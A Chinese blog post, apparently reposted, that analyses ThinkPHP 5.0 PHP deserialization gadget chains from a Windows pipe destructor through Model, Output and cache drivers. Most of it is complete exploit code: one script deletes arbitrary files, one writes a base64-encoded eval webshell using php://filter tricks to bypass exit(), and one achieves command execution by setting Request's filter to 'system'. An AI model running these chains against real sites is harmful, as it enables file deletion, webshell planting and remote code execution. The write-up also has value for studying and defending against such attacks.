环境配置
phpstudy+php5.6.9
搭建成功后进行写入测试代码
application/index/controller/Index.php
<?php
namespace app\index\controller;
class Index{
public function index()
{
$a = $_GET['string'];
unserialize($a);
}
}
参考:https://blog.csdn.net/qq_33942040/article/details/127428648
分析链
给个部分链子
开始需要有一个口子找__destruct或者____wakeup
这里使用windows文件里面的
public function __destruct()
{
$this->close();
$this->removeFiles();
}
$this->removeFiles();
private function removeFiles()
{
foreach ($this->files as $filename) {
//存在任意文件删除
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
removeFiles()函数在进行file_exists($filename)的时候会把$filename当做字符串进行处理,从而可以利用的__tostring
再就是这里存在任意文件删除,exp如下
<?php
namespace think\process\pipes;
class Windows
{
private $files = ["D:\phpstudy_pro\WWW//think.test.com//tp5015//thinkphp//librarythink\process\pipes\b.txt"];//这里需要时绝对路径且注意\t的位置换为\\不然会识别为换行
}
echo urlencode(serialize(new Windows));
?>
下面需要找下__tostring()方法,这里使用到thinkphp/library/think/Model.php的tostring方法
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
//返回json编码的数据
return json_encode($this->toArray(), $options);
}
toArray()
public function toArray()
{
...
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
//1.$this->append!=空
foreach ($this->append as $key => $name) {
if (is_array($name)) {
...
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
//2.method_exists($this, $relation) 在this中需要存在$relation方法
$modelRelation = $this->$relation();
//$value 在此处进行声明
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
//3.method_exists($modelRelation, 'getBindAttr')
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
//4.$bindAttr
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
//调用__call的条件getAttr() getAttr()就是获取模型方法的
//如果value可控我们就可以构造一个不存在的方法进行调用即可到__call
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
...
}
}
这里需要满足上面5个条件才可以使用$values->getAttar($attr)从而触发__call
条件1:$this->append!=空
// 追加属性
protected $append = [];
这个属性是我们可控的
条件2:method_exists($this, $relation)
$relation是由,$relation = Loader::parseName($name, 1, false);控制的,$name是由我们传入的$this->append进行控制的,那么传入的append里面就需要存在即this->append=[‘该类中存在的方法名’];这里使用getError方法。那么这个$relation是我们可控的
public function getError()
{
return $this->error;
}
条件3:method_exists($modelRelation, 'getBindAttr')
$modelRelation = $this->$relation();
//$value 在此处进行声明
$value = $this->getRelationData($modelRelation);
//$valuer = new Output()
if (method_exists($modelRelation, 'getBindAttr')) {....}
$this->$relation()可控。从而$modelRelation也是可控的,我们最终就是控制$value进行$value->getAttr($attr)。这里就需要找一个存在getBindAttr方法的类
thinkphp/library/think/model/relation/OneToOne.php存在该方法,找一个继承该类的类看看
这里使用BelongsTo,后面exp中this->error=new BelongsTo();赋值就行
4.$bindAttr
$modelRelation = $this->$relation();
$bindAttr = $modelRelation->getBindAttr();
刚才提到$modelRelation是我们可控的,如果让$binAttr为true的话那么给个值即可,如$this->bindAttr = ["test"=>"test"];
然后就可以到$value了
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
而$value经过上面的
$value = $this->getRelationData($modelRelation);
getRelationData()
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}
这里又需要进行满足这些条件才行
$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)
条件1:$this->parent
protected $parent;
这个是自己可控的,但是需要注意条件3,我们这里需要构造一个同样让其相等的条件
条件2:!$modelRelation->isSelfRelation()
可以看到我们传入的$modelRelation是BelongsTo其继承了OneToOne而其是继承了Relation,然后Relation中又存在isSelfRelation,如果不定义这个变量即可满足
条件3:get_class($modelRelation->getModel()) == get_class($this->parent)
getModel()
public function getModel()
{
return $this->query->getModel();
}
这里query是可控的,需要再找个类中的getModel()是可控的,这里使用ModelNotFoundException类
public function getModel()
{
return $this->model;
}
至此$value就完全可控了,下面给出大佬的exp
<?php
namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new 我们想控制的类必须跟ModelNotFoundException的model是一样的();
}
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去进行触发下一条链
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//这里随便不为空即可
}
}
namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{
protected $model;
public function __construct()
{
$this->model=new 我们想控制的类();
}
}
namespace think\model;
use think\Model;
class Merge extends Model{
}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Merge()]; }
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>
转载于:https://blog.csdn.net/qq_33942040/article/details/127428648
因为到这才是$value可控,可以出发__call,那么现在就需要去找一些call看看有哪些可以利用的
这里用到了thinkphp/library/think/console/Output.php里面的__call
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
其中call_user_func_array([$this, 'block'], $args);里面的block可以跟进看看
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}
↓↓↓↓↓↓↓↓↓↓
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}
↓↓↓↓↓↓↓↓↓↓
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}
到这$this->handle是可控的,找下write类,其中Memcache方法和Memcached方法 里面的handler可控,可以作用于后续的跳转利于,这里利用Memcache
thinkphp/library/think/session/driver/Memcache.php
到__set方法后,下一条链子在thinkphp/library/think/cache/driver/File.php
其中得set方法如下
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
到
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
文件写入主要是因为setTagItem方法,第一次的file_put_contents是写不了的文件名可控$data不可控,然后到setTagItem方法里面
setTagItem()
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
可以看到其是二次调用了set,而且$key和$value是可控的随后到set方法里面,$data就可控了,但是这里需要绕过一下exit()
linux绕过payload
php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>windows的
windows绕过payload
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
到这给贴出exp
<?php
namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去进行触发下一条链
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//这里随便不为空即可
}
}
namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{
protected $model;
public function __construct()
{
$this->model=new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;//去触发Memcached的链
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler=new File();
}
}
namespace think\cache;
abstract class Driver
{
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
protected $tag;
protected $options=[];
public function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "/../");
$filename = urlencode(substr($filename, $pos + strlen("/../")));
return $filename . $name . ".php";
}
}
namespace think\model;
use think\Model;
class Merge extends Model{
}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Merge()]; }
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
use think\cache\driver\File;
echo "\n";
$fx = new File();
echo $fx->get_filename();
?>
还有一条链子是RCE的跟着复现分析一下
主要是更换set链
thinkphp/library/think/cache/driver/Memcached.php
在这个文件中set的方法如下
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
if ($this->tag && !$this->has($name)) {
$first = true;
}
$key = $this->getCacheKey($name);
$expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
if ($this->handler->set($key, $value, $expire)) {
isset($first) && $this->setTagItem($key);
return true;
}
return false;
}
其中has()
public function has($name)
{
$key = $this->getCacheKey($name);
return $this->handler->get($key) ? true : false;
}
其中的get方法在thinkphp/library/think/Request.php
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
if (is_array($name)) {
$this->param = [];
$this->mergeParam = false;
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);
}
跟进input()
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
...
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
跟进filterValue()
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
...
}
call_user_func即可进行RCE
下面贴出exp
<?php
namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去进行触发下一条链
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//这里随便不为空即可
}
}
namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{
protected $model;
public function __construct()
{
$this->model=new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;//去触发Memcached的链
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\cache;
abstract class Driver{
}
namespace think\session\driver;
use think\cache\driver\Memcache;//这里是write的方法
use think\cache\Driver;
class Memcached {
protected $handler;
public function __construct()
{
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache{
protected $tag = "test";
protected $handler;//触发Request的链
protected $options = ['prefix'=>'goddemon/'];
public function __construct()
{
$this->handler = new Request();
}
}
namespace think;
class Request{
protected $get = ["goddemon"=>'whoami'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace think\model;
use think\Model;
class Merge extends Model{
}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{
/** @var array */
private $files = [];
public function __construct()
{
$this->files=[new Merge()]; }
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>
有疑问或者交流可以联系我:Qqian_00123
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)